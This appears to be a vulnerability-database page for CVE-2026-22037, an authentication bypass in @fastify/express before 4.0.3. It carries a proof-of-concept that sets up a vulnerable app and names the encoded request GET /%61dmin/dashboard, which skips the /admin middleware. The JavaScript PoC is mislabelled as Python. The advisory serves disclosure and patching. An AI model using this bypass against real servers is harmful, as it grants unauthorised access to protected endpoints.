Security Vulnerability Report
中文
CVE-2026-22037 CVSS 8.4 HIGH

CVE-2026-22037

Published: 2026-01-19 17:15:50
Last Modified: 2026-04-15 00:35:42

Description

The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

@fastify/express < 4.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22037 PoC - URL Encoded Path Bypass // Target: @fastify/express < 4.0.3 const fastify = require('fastify')(); const fastifyExpress = require('@fastify/express'); fastify.register(fastifyExpress); // Register authentication middleware on /admin path fastify.use('/admin', (req, res, next) => { // Authentication check - should block unauthorized access if (!req.headers.authorization) { return res.status(401).json({ error: 'Unauthorized' }); } next(); }); // Protected admin endpoint fastify.get('/admin/dashboard', (req, res) => { res.json({ message: 'Admin Dashboard - Protected Data' }); }); // Normal user endpoint fastify.get('/user/profile', (req, res) => { res.json({ message: 'User Profile' }); }); // Attack vector: // Normal request (blocked by middleware): GET /admin/dashboard // Bypassed request (allowed): GET /%61dmin/dashboard // The encoded 'a' (%61) bypasses middleware but Fastify decodes and matches /admin/dashboard

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22037", "sourceIdentifier": "[email protected]", "published": "2026-01-19T17:15:50.283", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue."}, {"lang": "es", "value": "El plugin @fastify/express añade compatibilidad completa con Express a Fastify. Existe una vulnerabilidad de seguridad en @fastify/express anterior a la versión 4.0.3 donde el middleware registrado con un prefijo de ruta específico puede ser eludido utilizando caracteres codificados en URL (p. ej., '/%61dmin' en lugar de '/admin'). Mientras que el motor de middleware no logra coincidir con la ruta codificada y omite la ejecución, el router subyacente de Fastify decodifica correctamente la ruta y coincide con el manejador de ruta, permitiendo a los atacantes acceder a puntos finales protegidos sin las restricciones del middleware. La vulnerabilidad es causada por cómo @fastify/express compara las solicitudes con las rutas de middleware registradas. Esta vulnerabilidad es similar a, pero difiere de, CVE-2026-22031 porque este es un módulo npm diferente con su propio código. La versión 4.0.3 de @fastify/express contiene un parche para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-177"}, {"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40", "source": "[email protected]"}, {"url": "https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m", "source": "[email protected]"}]}}